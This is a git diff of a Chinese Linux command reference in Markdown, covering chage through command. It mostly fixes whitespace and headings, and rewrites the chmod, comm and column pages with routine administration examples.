-[root@linuxde ~]# chage -I 5 root -[root@linuxde ~]# chage -l root -最近一次密码修改时间 : 3月 12, 2013 -密码过期时间 : 5月 11, 2013 -密码失效时间 : 5月 16, 2013 -帐户过期时间 :从不 +chage -I 5 root +chage -l root + +最近一次密码修改时间 : 3月 12, 2013 +密码过期时间 : 5月 11, 2013 +密码失效时间 : 5月 16, 2013 +帐户过期时间 :从不 两次改变密码之间相距的最小天数 :0 两次改变密码之间相距的最大天数 :60 -在密码过期之前警告的天数 :9 +在密码过期之前警告的天数 :9 ``` 从上述命令可以看到,在密码过期后5天,密码自动失效,这个用户将无法登陆系统了。 - \ No newline at end of file diff --git a/command/chattr.md b/command/chattr.md index 376cf19a6a7..698811f1800 100644 --- a/command/chattr.md +++ b/command/chattr.md @@ -7,13 +7,13 @@ chattr **chattr命令** 用来改变文件属性。这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式: -### 语法 +### 语法 ```shell chattr(选项) ``` -### 选项 +### 选项 ```shell a:让文件或目录仅供附加用途; @@ -35,7 +35,7 @@ u:预防意外删除。 =<属性>:指定文件或目录的该项属性。 ``` -### 实例 +### 实例 用chattr命令防止系统中某个关键文件被修改: @@ -52,4 +52,3 @@ chattr +a /data1/user_act.log ``` - \ No newline at end of file diff --git a/command/chcon.md b/command/chcon.md index cefd3300691..7efb5aaf3c8 100644 --- a/command/chcon.md +++ b/command/chcon.md @@ -7,7 +7,7 @@ chcon **chcon命令** 是修改对象(文件)的安全上下文,比如:用户、角色、类型、安全级别。也就是将每个文件的安全环境变更至指定环境。使用`--reference`选项时,把指定文件的安全环境设置为与参考文件相同。chcon命令位于`/usr/bin/chcon`。 -### 语法 +### 语法 ```shell chcon [选项]... 环境 文件... @@ -15,7 +15,7 @@ chcon [选项]... [-u 用户] [-r 角色] [-l 范围] [-t 类型] 文件... chcon [选项]... --reference=参考文件 文件... ``` -### 选项 +### 选项 ```shell -h, --no-dereference:影响符号连接而非引用的文件。 @@ -38,7 +38,7 @@ chcon [选项]... --reference=参考文件 文件... --version:显示版本信息并退出。 ``` -### 实例 +### 实例 如果你想把这个ftp共享给匿名用户的话,需要开启以下: @@ -72,4 +72,3 @@ chcon -t public_content_t /directories ``` - \ No newline at end of file diff --git a/command/chfn.md b/command/chfn.md index 3c43cc80a0d..056b18fbe90 100644 --- a/command/chfn.md +++ b/command/chfn.md @@ -7,13 +7,13 @@ chfn **chfn命令** 用来改变finger命令显示的信息。这些信息都存放在/etc目录里的passwd文件里。若不指定任何选项,则chfn命令会进入问答式界面。 -### 语法 +### 语法 ```shell chfn(选项)(参数) ``` -### 选项 +### 选项 ```shell -f<真实姓名>或--full-name<真实姓名>:设置真实姓名; @@ -24,11 +24,11 @@ chfn(选项)(参数) -v或-version:显示版本信息。 ``` -### 参数 +### 参数 用户名:指定要改变finger信息的用户名。 -### 实例 +### 实例 范例1,改变finger信息: @@ -64,4 +64,3 @@ Home Phone[]: [del] ``` - \ No newline at end of file diff --git a/command/chgrp.md b/command/chgrp.md index 4e341bcd1fd..5b3cdd720e4 100644 --- a/command/chgrp.md +++ b/command/chgrp.md @@ -9,13 +9,13 @@ chgrp 在UNIX系统家族里,文件或目录权限的掌控以拥有者及所属群组来管理。您可以使用chgrp指令去变更文件与目录的所属群组,设置方式采用群组名称或群组识别码皆可。 -### 语法 +### 语法 ```shell chgrp [选项][组群][文件|目录] ``` -### 选项 +### 选项 ```shell -R 递归式地改变指定目录及其下的所有子目录和文件的所属的组 @@ -30,12 +30,12 @@ chgrp [选项][组群][文件|目录] --reference=<参考文件或目录>:把指定文件或目录的所属群组全部设成和参考文件或目录的所属群组相同; ``` -### 参数 +### 参数 * 组:指定新工作名称; * 文件:指定要改变所属组的文件列表。多个文件或者目录之间使用空格隔开。 -### 实例 +### 实例 将`/usr/meng`及其子目录下的所有文件的用户组改为mengxin @@ -50,4 +50,4 @@ chgrp -R mengxin /usr/meng ``` - + diff --git a/command/chkconfig.md b/command/chkconfig.md index 10bf33417b1..8d75dbeb2bb 100644 --- a/command/chkconfig.md +++ b/command/chkconfig.md @@ -7,13 +7,13 @@ chkconfig **chkconfig命令** 检查、设置系统的各种服务。这是Red Hat公司遵循GPL规则所开发的程序,它可查询操作系统在每一个执行等级中会执行哪些系统服务,其中包括各类常驻服务。谨记chkconfig不是立即自动禁止或激活一个服务,它只是简单的改变了符号连接。 -### 语法 +### 语法 ```shell chkconfig(选项) ``` -### 选项 +### 选项 ```shell --add:增加所指定的系统服务,让chkconfig指令得以管理它,并同时在系统启动的叙述文件内增加相关数据; @@ -54,7 +54,7 @@ chkconfig(选项) # higher quality random number generation. ``` -### 实例 +### 实例 ```shell chkconfig --list #列出所有的系统服务。 @@ -76,4 +76,4 @@ chkconfig –level redis 2345 on # 把redis在运行级别为2、3、4、5的情 3. `chkconfig --level 35 mysqld on`修改服务的默认启动等级。 - + diff --git a/command/chmod.md b/command/chmod.md index b73fc358d6b..0cdc60c051d 100644 --- a/command/chmod.md +++ b/command/chmod.md @@ -3,114 +3,99 @@ chmod 用来变更文件或目录的权限 -## 补充说明 - -**chmod命令** 用来变更文件或目录的权限。在UNIX系统家族里,文件或目录权限的控制分别以读取、写入、执行3种一般权限来区分,另有3种特殊权限可供运用。用户可以使用chmod指令去变更文件与目录的权限,设置方式采用文字或数字代号皆可。符号连接的权限无法变更,如果用户对符号连接修改权限,其改变会作用在被连接的原始文件。 - -权限范围的表示法如下: - -`u` User,即文件或目录的拥有者; -`g` Group,即文件或目录的所属群组; -`o` Other,除了文件或目录拥有者或所属群组之外,其他用户皆属于这个范围; -`a` All,即全部的用户,包含拥有者,所属群组以及其他用户; -`r` 读取权限,数字代号为“4”; -`w` 写入权限,数字代号为“2”; -`x` 执行或切换权限,数字代号为“1”; -`-` 不具任何权限,数字代号为“0”; -`s` 特殊功能说明:变更文件或目录的权限。 - -### 语法 - -``` -chmod(选项)(参数) -``` - -### 选项 +## 概要 ```shell -u # 操作对象简称,用户user,文件或目录的所有者。 -g # 操作对象简称,同组用户group,文件或目录所属群组 -o # 操作对象简称,其它用户others -a # 操作对象简称,所有用户all,系统默认使用此项 -+ # 权限操作符,添加某些权限 -- # 权限操作符,取消某些权限 -= # 权限操作符,设置文件的权限为给定的权限 -r # 权限设定(英文),表示可读权限 -w # 权限设定(英文),表示可写权限 -x # 权限设定(英文),表示可执行权限 -- # 权限设定(英文字符),表示没有权限 -X # 权限设定,如果目标文件是可执行文件或目录,可给其设置可执行权限 -s # 权限设定,设置权限suid和sgid,使用权限组合“u+s”设定文件的用户的ID位,“g+s”设置组ID位 -t # 权限设定,只有目录或文件的所有者才可以删除目录下的文件 --c或——changes # 效果类似“-v”参数,但仅回报更改的部分,如果文件权限已经改变,显示其操作信息; --f或--quiet或——silent # 操作过程中不显示任何错误信息; --R或——recursive # 递归处理,将指令目录下的所有文件及子目录一并处理; --v或——verbose # 显示命令运行时的详细执行过程; ---reference=<参考文件或目录> # 把指定文件或目录的所属群组全部设成和参考文件或目录的所属群组相同; -<权限范围>+<权限设置> # 开启权限范围的文件或目录的该选项权限设置; -<权限范围>-<权限设置> # 关闭权限范围的文件或目录的该选项权限设置; -<权限范围>=<权限设置> # 指定权限范围的文件或目录的该选项权限设置; ---help # 显示帮助信息 ---version # 显示版本信息 +chmod [OPTION]... MODE[,MODE]... FILE... +chmod [OPTION]... OCTAL-MODE FILE... +chmod [OPTION]... --reference=RFILE FILE... ``` -### 参数 +## 主要用途 -权限模式:指定文件的权限模式; -文件:要改变权限的文件。 +- 通过符号组合的方式更改目标文件或目录的权限。 +- 通过八进制数的方式更改目标文件或目录的权限。 +- 通过参考文件的权限来更改目标文件或目录的权限。 -### 知识扩展和实例 +## 参数 -Linux用 户分为:拥有者、组群(Group)、其他(other),Linux系统中,预设的情況下,系统中所有的帐号与一般身份使用者,以及root的相关信 息, 都是记录在`/etc/passwd`文件中。每个人的密码则是记录在`/etc/shadow`文件下。 此外,所有的组群名称记录在`/etc/group`內! +mode:八进制数或符号组合。 -linux文件的用户权限的分析图 +file:指定要更改权限的一到多个文件。 + +## 选项 ```shell - -rw-r--r-- 1 user staff 651 Oct 12 12:53 .gitmodules -# ↑╰┬╯╰┬╯╰┬╯ -# ┆ ┆ ┆ ╰┈ 0 其他人 -# ┆ ┆ ╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ g 属组 -# ┆ ╰┈┈┈┈ u 属组 -# ╰┈┈ 第一个字母 `d` 代表目录,`-` 代表普通文件 +-c, --changes:当文件的权限更改时输出操作信息。 +--no-preserve-root:不将'/'特殊化处理,默认选项。 +--preserve-root:不能在根目录下递归操作。 +-f, --silent, --quiet:抑制多数错误消息的输出。 +-v, --verbose:无论文件是否更改了权限,一律输出操作信息。 +--reference=RFILE:使用参考文件或参考目录RFILE的权限来设置目标文件或目录的权限。 +-R, --recursive:对目录以及目录下的文件递归执行更改权限操作。 +--help:显示帮助信息并退出。 +--version:显示版本信息并退出。 ``` -例:rwx rw- r-- +## 返回值 -r=读取属性  //值=4 -w=写入属性  //值=2 -x=执行属性  //值=1 +返回状态为成功除非给出了非法选项或非法参数。 -```shell -chmod u+x,g+w f01  # 为文件f01设置自己可以执行,组员可以写入的权限 -chmod u=rwx,g=rw,o=r f01 -chmod 764 f01 -chmod a+x f01   # 对文件f01的u,g,o都设置可执行属性 -``` +## 例子 -文件的属主和属组属性设置 +> 参考`man chmod`文档的`DESCRIPTION`段落得知: +> - `u`符号代表当前用户。 +> - `g`符号代表和当前用户在同一个组的用户,以下简称组用户。 +> - `o`符号代表其他用户。 +> - `a`符号代表所有用户。 +> - `r`符号代表读权限以及八进制数`4`。 +> - `w`符号代表写权限以及八进制数`2`。 +> - `x`符号代表执行权限以及八进制数`1`。 +> - `X`符号代表如果目标文件是可执行文件或目录,可给其设置可执行权限。 +> - `s`符号代表设置权限suid和sgid,使用权限组合`u+s`设定文件的用户的ID位,`g+s`设置组用户ID位。 +> - `t`符号代表只有目录或文件的所有者才可以删除目录下的文件。 +> - `+`符号代表添加目标用户相应的权限。 +> - `-`符号代表删除目标用户相应的权限。 +> - `=`符号代表添加目标用户相应的权限,删除未提到的权限。 ```shell -chown user:market f01  # 把文件f01给uesr,添加到market组 -ll -d f1 查看目录f1的属性 -``` +linux文件的用户权限说明: +# 查看当前目录(包含隐藏文件)的长格式。 +ls -la + -rw-r--r-- 1 user staff 651 Oct 12 12:53 .gitmodules -将`/home/wwwroot/`里的所有文件和文件夹设置为`755`权限 - -(1)直接指定路径修改 +# 第1位如果是d则代表目录,是-则代表普通文件。 +# 更多详情请参阅info coreutils 'ls invocation'(ls命令的info文档)的'-l'选项部分。 +# 第2到4位代表当前用户的权限。 +# 第5到7位代表组用户的权限。 +# 第8到10位代表其他用户的权限。 +``` ```shell -chmod -R 755 /home/wwwroot/* +# 添加组用户的写权限。 +chmod g+w ./test.log +# 删除其他用户的所有权限。 +chmod o= ./test.log +# 使得所有用户都没有写权限。 +chmod a-w ./test.log +# 当前用户具有所有权限,组用户有读写权限,其他用户只有读权限。 +chmod u=rwx, g=rw, o=r ./test.log +# 等价的八进制数表示: +chmod 764 ./test.log +# 将目录以及目录下的文件都设置为所有用户拥有读写权限。 +# 注意,使用'-R'选项一定要保留当前用户的执行和读取权限,否则会报错! +chmod -R a=rw ./testdir/ +# 根据其他文件的权限设置文件权限。 +chmod --reference=./1.log ./test.log ``` -(2)手动进入该目录修改权限(并显示详细过程) +### 注意 +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man chmod`或`info coreutils 'chmod invocation'`。 -```shell -cd /home/wwwroot -chmod -Rv 755 * #注意:“*”表示通配符,指的是所有文件和文件 -sudo chmod o+rw /shared #设置文件夹权限以保证其余用户可以访问它。 -``` +2. 符号连接的权限无法变更,如果用户对符号连接修改权限,其改变会作用在被连接的原始文件。 + +3. 使用`-R`选项一定要保留当前用户的执行和读取权限,否则会报错! - diff --git a/command/chown.md b/command/chown.md index 7df71f4b593..bbb4089ed6c 100644 --- a/command/chown.md +++ b/command/chown.md @@ -7,34 +7,34 @@ chown **chown命令** 改变某个文件或目录的所有者和所属的组,该命令可以向某个用户授权,使该用户变成指定文件的所有者或者改变文件所属的组。用户可以是用户或者是用户D,用户组可以是组名或组id。文件名可以使由空格分开的文件列表,在文件名中可以包含通配符。 -只有文件主和超级用户才可以便用该命令。 +只有文件主和超级用户才可以使用该命令。 -### 语法 +### 语法 ```shell chown(选项)(参数) ``` -### 选项 +### 选项 ```shell -c或——changes:效果类似“-v”参数,但仅回报更改的部分; -f或--quite或——silent:不显示错误信息; -h或--no-dereference:只对符号连接的文件作修改,而不更改其他任何相关文件; -R或——recursive:递归处理,将指定目录下的所有文件及子目录一并处理; --v或——version:显示指令执行过程; +-v或——verbose:显示指令执行过程; --dereference:效果和“-h”参数相同; --help:在线帮助; --reference=<参考文件或目录>:把指定文件或目录的拥有者与所属群组全部设成和参考文件或目录的拥有者与所属群组相同; --version:显示版本信息。 ``` -### 参数 +### 参数 用户:组:指定所有者和所属工作组。当省略“:组”,仅改变文件所有者; 文件:指定要改变所有者和工作组的文件列表。支持多个文件和目标,支持shell通配符。 -### 实例 +### 实例 将目录`/usr/meng`及其下面的所有文件、子目录的文件主改成 liu: @@ -43,4 +43,3 @@ chown -R liu /usr/meng ``` - \ No newline at end of file diff --git a/command/chpasswd.md b/command/chpasswd.md index d897475ae1c..456c7d1b403 100644 --- a/command/chpasswd.md +++ b/command/chpasswd.md @@ -7,13 +7,13 @@ chpasswd **chpasswd命令** 是批量更新用户口令的工具,是把一个文件内容重新定向添加到`/etc/shadow`中。 -### 语法 +### 语法 ```shell chpasswd(选项) ``` -### 选项 +### 选项 ```shell -e:输入的密码是加密后的密文; @@ -21,7 +21,7 @@ chpasswd(选项) -m:当被支持的密码未被加密时,使用MD5加密代替DES加密。 ``` -### 实例 +### 实例 先创建用户密码对应文件,格式为`username:password`,如`abc:abc123`,必须以这种格式来书写,并且不能有空行,保存成文本文件user.txt,然后执行chpasswd命令: @@ -32,4 +32,3 @@ chpasswd < user.txt 以上是运用chpasswd命令来批量修改密码。是linux系统管理中的捷径。 - \ No newline at end of file diff --git a/command/chroot.md b/command/chroot.md index de1449e66cc..1c32d7b9fb6 100644 --- a/command/chroot.md +++ b/command/chroot.md @@ -21,25 +21,25 @@ chroot chroot 的作用就是切换系统的根位置,而这个作用最为明显的是在系统初始引导磁盘的处理过程中使用,从初始 RAM 磁盘 (initrd) 切换系统的根位置并执行真正的 init。另外,当系统出现一些问题时,我们也可以使用 chroot 来切换到一个临时的系统。 -### 语法 +### 语法 ```shell chroot(选项)(参数) ``` -### 选项 +### 选项 ```shell --help:在线帮助; --version:显示版本信息。 ``` -### 参数 +### 参数 * 目录:指定新的根目录; * 指令:指定要执行的指令。 -### 实例 +### 实例 **将target作为根目录(运行其中的`/bin/sh`):** @@ -119,4 +119,3 @@ chroot newRoot /a.out 这样就能够正确运行a.out了,因为a.out使用到了其他的动态连接库,所以需要将库拷贝到newRoot中,如果没有其他库那么直接拷贝a.out就能运行。例如静态编译后的busybox,其安装目录中的`/bin/busybox`就没有依赖其他库。 - \ No newline at end of file diff --git a/command/chsh.md b/command/chsh.md index baa6545d317..72fb7e45357 100644 --- a/command/chsh.md +++ b/command/chsh.md @@ -7,13 +7,13 @@ chsh **chsh命令** 用来更换登录系统时使用的shell。若不指定任何参数与用户名称,则chsh会以应答的方式进行设置。 -### 语法 +### 语法 ```shell chsh(选项)(参数) ``` -### 选项 +### 选项 ```shell -s或--shell:更改系统预设的shell环境。; @@ -22,11 +22,11 @@ chsh(选项)(参数) -v或-version:显示版本信息。 ``` -### 参数 +### 参数 用户名:要改变默认shell的用户。 -### 实例 +### 实例 **查看系统安装了哪些shell的两种方法:** @@ -90,4 +90,3 @@ Shell changed. ``` - \ No newline at end of file diff --git a/command/cksum.md b/command/cksum.md index c3b538ad0eb..d3fb5b595d3 100644 --- a/command/cksum.md +++ b/command/cksum.md @@ -11,24 +11,24 @@ cksum 指定文件交由cksum命令进行校验后,会返回校验结果供用户核对文件是否正确无误。若不指定任何文件名称或是所给予的文件名为"-",则cksum命令会从标准输入设备中读取数据。 -### 语法 +### 语法 ```shell cksum(选项)(参数) ``` -### 选项 +### 选项 ```shell --help:在线帮助; --version:显示版本信息。 ``` -### 参数 +### 参数 文件:指定要计算校验的版本信息。 -### 实例 +### 实例 使用cksum命令计算文件"testfile1"的完整性,输入如下命令: @@ -47,4 +47,3 @@ cksum testfile1 #对指定文件进行CRC校验 注意:如果文件中有任何字符被修改,都将改变计算后CRC校验码的值。 - \ No newline at end of file diff --git a/command/clear.md b/command/clear.md index c8eaa0a976b..92ee484291e 100644 --- a/command/clear.md +++ b/command/clear.md @@ -7,15 +7,14 @@ clear **clear命令** 用于清除当前屏幕终端上的任何信息。 -### 语法 +### 语法 ```shell clear ``` -### 实例 +### 实例 直接输入clear命令当前终端上的任何信息就可被清除。 - \ No newline at end of file diff --git a/command/clock.md b/command/clock.md index 5cf0357398e..81cf3329cf3 100644 --- a/command/clock.md +++ b/command/clock.md @@ -1,20 +1,20 @@ clock === -用于调整 RTC 时间。 +用于调整 RTC 时间 ## 补充说明 **clock命令**用于调整 RTC 时间。 RTC 是电脑内建的硬件时间,执行这项指令可以显示现在时刻,调整硬件时钟的时间,将系统时间设成与硬件时钟之时间一致,或是把系统时间回存到硬件时钟。 -### 语法 +### 语法 ```shell clock [--adjust][--debug][--directisa][--getepoch][--hctosys][--set --date="<日期时间>"] [--setepoch --epoch=< >][--show][--systohc][--test][--utc][--version] ``` -### 选项 +### 选项 ```shell --adjust  第一次使用"--set"或"--systohc"参数设置硬件时钟,会在/etc目录下产生一个名称为adjtime的文件。当再次使用这两个参数调整硬件时钟,此文件便会记录两次调整间之差异,日后执行clock指令加上"--adjust"参数时,程序会自动根 据记录文件的数值差异,计算出平均值,自动调整硬件时钟的时间。 @@ -46,4 +46,4 @@ clock -utc #显示UTC时间 ``` - + diff --git a/command/clockdiff.md b/command/clockdiff.md index dfda023f289..1b5f017dce7 100644 --- a/command/clockdiff.md +++ b/command/clockdiff.md @@ -7,14 +7,14 @@ clockdiff 在ip报文的首部和ICMP报文的首部都可以放入时间戳数据。 **clockdiff** 程序正是使用时间戳来测算目的主机和本地主机的系统时间差。 -### 选项 +### 选项 ```shell -o:使用IP时间戳选项来测量系统时间差。时间戳只用3个。 -o1:使用IP时间戳选项来测量系统时间差。用4个时间戳。如果-o和-o1都没有设置,那么就是用ICMP时间戳来测试系统时间差。 ``` -### 实例 +### 实例 ```shell lixi@lixi-desktop:~$ ping -T tsandaddr www.ustc.edu.cn -c 1 @@ -56,4 +56,3 @@ host=gigagate1.Princeton.EDU rtt=307(21)ms/271ms delta=-5ms/-5ms Wed Dec 17 11:5 上面是测试一个RTT较大的目的主机和本地主机的系统时间差。不过在使用clockdiff的时候,需要一点运气,因为很多路由会忽略ICMP或IP时间戳。 - \ No newline at end of file diff --git a/command/cmp.md b/command/cmp.md index d8758e2fec5..b3012c5ee13 100644 --- a/command/cmp.md +++ b/command/cmp.md @@ -7,13 +7,13 @@ cmp **cmp命令** 用来比较两个文件是否有差异。当相互比较的两个文件完全一样时,则该指令不会显示任何信息。若发现有差异,预设会标示出第一个不通之处的字符和列数编号。若不指定任何文件名称或是所给予的文件名为“-”,则cmp指令会从标准输入设备读取数据。 -### 语法 +### 语法 ```shell cmp(选项)(参数) ``` -### 选项 +### 选项 ```shell -c或--print-chars:除了标明差异处的十进制字码之外,一并显示该字符所对应字符; @@ -24,11 +24,11 @@ cmp(选项)(参数) --help:在线帮助。 ``` -### 参数 +### 参数 目录:比较两个文件的差异。 -### 实例 +### 实例 使用cmp命令比较文件"testfile"和文件"testfile1"两个文件,则输入下面的命令: @@ -60,4 +60,3 @@ testfile testfile1 #有差异:第8字节,第2行 注意:在比较结果中,只能够显示第一比较结果。 - \ No newline at end of file diff --git a/command/col.md b/command/col.md index 6c8875cf877..f6c53474823 100644 --- a/command/col.md +++ b/command/col.md @@ -7,13 +7,13 @@ col **col命令** 是一个标准输入文本过滤器,它从标注输入设备读取文本内容,并把内容显示到标注输出设备。在许多UNIX说明文件里,都有RLF控制字符。当我们运用shell特殊字符`>`和`>>`,把说明文件的内容输出成纯文本文件时,控制字符会变成乱码,col命令则能有效滤除这些控制字符。 -### 语法 +### 语法 ```shell col(选项) ``` -### 选项 +### 选项 ```shell -b:过滤掉所有的控制字符,包括RLF和HRLF; @@ -23,4 +23,3 @@ col(选项) ``` - \ No newline at end of file diff --git a/command/colrm.md b/command/colrm.md index c59468b9bee..c168f632d4c 100644 --- a/command/colrm.md +++ b/command/colrm.md @@ -7,16 +7,15 @@ colrm **colrm命令** 用于删除文件中的指定列。colrm命令从标准输入设备读取书记,转而输出到标准输出设备。如果不加任何参数,则colrm命令不会过滤任何一行。 -### 语法 +### 语法 ```shell colrm(参数) ``` -### 参数 +### 参数 * 起始列号:指定要删除的指定列; * 结尾列号:指定要删除的结尾列。 - \ No newline at end of file diff --git a/command/column.md b/command/column.md new file mode 100644 index 00000000000..c93c184692b --- /dev/null +++ b/command/column.md @@ -0,0 +1,176 @@ +column +=== + +按列格式化输出文件 + +## 概要 + +```shell +column [options] [file ...] +``` + +## 主要用途 + +- 将单列数据整理为多列显示,每行宽度可以指定,超出的部分自动换行。 +- 将多列数据进行快速整理,对齐每列的字符。 + +## 参数 + +file(可选),当没有指定文件时,默认会从标准输入读取,因此可以配合管道符使用。 + +## 选项 + +```shell +-c, --columns 输出宽度(以字符数表示) +-t, --table 创建一个表格(每列字符会对齐) +-s, --separator 指定识别表格的分隔符 +-o, --output-separator 输出表格的列分隔符,默认为两个空格 +-x, --fillrows 在列之前填充行 +-N, --table-columns 添加列名(逗号分隔) +-J --json 格式化为JSON输出(需要配合-N/--table-columns使用) +-h, --help 显示此帮助 +-V, --version 输出版本信息 +``` + +## 返回值 + +格式化排列后的字符串。 + +## 示例 + +- 整理单列数据 + +```shell +# 生成 26 个英文字母, 每列一个 +$ for a in {a..z}; do echo $a; done > test + +# 每行最大 60 个字符 +$ cat test | column -c 60 +a e i m q u y +b f j n r v z +c g k o s w +d h l p t x + +# 在上面的基础上,进一步整理,每列之间宽度默认两个空白符 +$ cat test | column -c 60 | column -t +a e i m q u y +b f j n r v z +c g k o s w +d h l p t x + +# 指定每列之间用 ', ' 拼接 +$ cat test | column -c 60 | column -t -o ', ' +a, e, i, m, q, u, y +b, f, j, n, r, v, z +c, g, k, o, s, w +d, h, l, p, t, x +``` + +- 整理多列数据 + +```shell +# 现有如下内容较为凌乱的文本文件 test +$ cat test +Address[0] Metal3,pin 133.175:159.92 +Address[1] Metal3,pin 112.38:159.92 +Address[2] Metal3,pin 70.775:159.92 +Address[3] Metal3,pin 41.655:159.92 +DataIn[0] Metal3,pin 66.615:159.92 +DataIn[1] Metal3,pin 37.495:159.92 +DataIn[2] Metal3,pin 122.88:159.92 +DataIn[3] Metal3,pin 95.74:159.92 +DataOut[0] Metal3,pin 45.815:159.92 +DataOut[1] Metal3,pin 79.095:159.92 +DataOut[2] Metal3,pin 104.055:159.92 +DataOut[3] Metal3,pin 62.46:159.92 +MemReq Metal3,pin 108.215:159.92 +RdWrBar Metal3,pin 87.415:159.92 +clock Metal3,pin 74.935:159.92 + +# 列对齐 +$ cat test | column -t +Address[0] Metal3,pin 133.175:159.92 +Address[1] Metal3,pin 112.38:159.92 +Address[2] Metal3,pin 70.775:159.92 +Address[3] Metal3,pin 41.655:159.92 +DataIn[0] Metal3,pin 66.615:159.92 +DataIn[1] Metal3,pin 37.495:159.92 +DataIn[2] Metal3,pin 122.88:159.92 +DataIn[3] Metal3,pin 95.74:159.92 +DataOut[0] Metal3,pin 45.815:159.92 +DataOut[1] Metal3,pin 79.095:159.92 +DataOut[2] Metal3,pin 104.055:159.92 +DataOut[3] Metal3,pin 62.46:159.92 +MemReq Metal3,pin 108.215:159.92 +RdWrBar Metal3,pin 87.415:159.92 +clock Metal3,pin 74.935:159.92 + +# 将 ',' 和 ':' 也识别为分隔符 +$ cat test | column -t -s ',: ' +Address[0] Metal3 pin 133.175 159.92 +Address[1] Metal3 pin 112.38 159.92 +Address[2] Metal3 pin 70.775 159.92 +Address[3] Metal3 pin 41.655 159.92 +DataIn[0] Metal3 pin 66.615 159.92 +DataIn[1] Metal3 pin 37.495 159.92 +DataIn[2] Metal3 pin 122.88 159.92 +DataIn[3] Metal3 pin 95.74 159.92 +DataOut[0] Metal3 pin 45.815 159.92 +DataOut[1] Metal3 pin 79.095 159.92 +DataOut[2] Metal3 pin 104.055 159.92 +DataOut[3] Metal3 pin 62.46 159.92 +MemReq Metal3 pin 108.215 159.92 +RdWrBar Metal3 pin 87.415 159.92 +clock Metal3 pin 74.935 159.92 +``` + +- 添加列名并以JSON格式输出 + +```shell +$ column -J -s ":" -N "Username,Password,UID,GID,Gecos,HomeDirectory,Shell" /etc/passwd +{ + "table": [ + { + "username": "root", + "password": "x", + "uid": "0", + "gid": "0", + "gecos": "root", + "homedirectory": "/root", + "shell": "/bin/bash" + },{ + "username": "daemon", + "password": "x", + "uid": "1", + "gid": "1", + "gecos": "daemon", + "homedirectory": "/usr/sbin", + "shell": "/usr/sbin/nologin" + },{ + "username": "bin", + "password": "x", + "uid": "2", + "gid": "2", + "gecos": "bin", + "homedirectory": "/bin", + "shell": "/usr/sbin/nologin" + },{ + "username": "sys", + "password": "x", + "uid": "3", + "gid": "3", + "gecos": "sys", + "homedirectory": "/dev", + "shell": "/usr/sbin/nologin" + },{ + "username": "sync", + "password": "x", + "uid": "4", + "gid": "65534", + "gecos": "sync", + "homedirectory": "/bin", + "shell": "/bin/sync" + } + ] +} +``` diff --git a/command/comm.md b/command/comm.md index 9379c1290d1..1e6a4e710b3 100644 --- a/command/comm.md +++ b/command/comm.md @@ -1,45 +1,42 @@ comm === -两个文件之间的比较 +按行比较两个已排序的文件。 -## 补充说明 +## 概要 -**comm命令** 可以用于两个文件之间的比较,它有一些选项可以用来调整输出,以便执行交集、求差、以及差集操作。 +```shell +comm [OPTION]... FILE1 FILE2 +``` -* 交集:打印出两个文件所共有的行。 -* 求差:打印出指定文件所包含的且不相同的行。 -* 差集:打印出包含在一个文件中,但不包含在其他指定文件中的行。 +## 主要用途 -### 语法 +- 按行比较两个已排序的文件。 +- 当`FILE1`或`FILE2`为`-`时,读取标准输入。 +- 无选项时输出三列,第一列为`FILE1`独有的行,第二列为`FILE2`独有的行,第三列为`FILE1`,`FILE2`共有的行。 -```shell -comm [选项]... 文件1 文件2 -``` -### 选项 +## 选项 ```shell -如果不附带选项,程序会生成三列输出。 -第一列包含文件1 特有的行, -第二列包含文件2 特有的行, -而第三列包含两个文件共有的行。 - - -1 不输出文件1 特有的行 - -2 不输出文件2 特有的行 - -3 不输出两个文件共有的行 - ---check-order 检查输入是否被正确排序,即使所有输入行均成对 ---nocheck-order 不检查输入是否被正确排序 ---output-delimiter=STR 依照STR 分列 +-1 不输出第一列。 +-2 不输出第二列。 +-3 不输出第三列。 +--check-order 检查输入行是否正确的排序,即使它们确实是已排序过的。 +--nocheck-order 不检查输入行是否正确的排序。 +--output-delimiter=STR 使用STR作为输出列之间的分隔符而不是默认的TAB。 +--total 额外地增加第四列输出概要。 +-z, --zero-terminated 设置行终止符为NUL(空),而不是换行符。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` -### 参数 -* 文件1:指定要比较的第一个**有序**文件; -* 文件2:指定要比较的第二个**有序**文件。 +## 返回值 -### 实例 +返回0表示成功,返回非0值表示失败。 + +## 例子 文本 `aaa.txt` 内容 @@ -66,12 +63,6 @@ ttt jjj ``` -两个文件之间的比较,如果没有排序需要带上`--nocheck-order`参数, 没有带上参数将会收到提示,此命令重要之功能在于比较。 - -```shell -comm: 文件2 没有被正确排序 -comm: 文件1 没有被正确排序 -``` 比较结果 @@ -88,21 +79,20 @@ eee hhh ttt jjj -第一列 第二列 第三列 ``` -输出的第一列只包含在aaa.txt中出现的行,第二列包含在bbb.txt中出现的行,第三列包含在aaa.txt和bbb.txt中相同的行。各列是以制表符(\t)作为定界符。 +输出的第一列只包含在aaa.txt中出现的行,第二列包含在bbb.txt中出现的行,第三列包含在aaa.txt和bbb.txt中相同的行。各列之间以制表符(\t)作为分隔符。 -### 有序比较 +### 比较排序过的文档 -有序比较,先通过 sort 将文件内容排序 +先通过 sort 将文件内容排序: ```shell [root@localhost ~]# sort aaa.txt > aaa1.txt [root@localhost ~]# sort bbb.txt > bbb1.txt ``` -有序比较结果: +比较结果: ```shell [root@localhost ~]# comm aaa1.txt bbb1.txt @@ -128,25 +118,6 @@ bbb ccc ``` -**求差** - -打印出两个文件中不相同的行,需要删除第三列: - -```shell -[root@localhost text]# comm aaa.txt bbb.txt -3 | sed 's/^\t//' -aaa -aaa -ddd -eee -111 -222 -hhh -ttt -jjj -``` - -`sed 's/^\t//'` 是将制表符`\t`删除,以便把两列合并成一列。 - ### 差集 通过删除不需要的列,可以得到aaa.txt和bbb.txt的差集: @@ -173,4 +144,8 @@ jjj ``` - \ No newline at end of file +### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 comm`,`info coreutils 'comm invocation'`。 + + diff --git a/command/command.md b/command/command.md index 5c46a7850f1..0c605fe4472 100644 --- a/command/command.md +++ b/command/command.md @@ -7,17 +7,17 @@ command **command命令** 调用指定的指令并执行,命令执行时不查询shell函数。command命令只能够执行shell内部的命令。 -### 语法 +### 语法 ```shell command(参数) ``` -### 参数 +### 参数 指令:需要调用的指令及参数。 -### 实例 +### 实例 使用command命令调用执行`echo Linux`,输入如下命令: @@ -32,4 +32,3 @@ Linux ``` 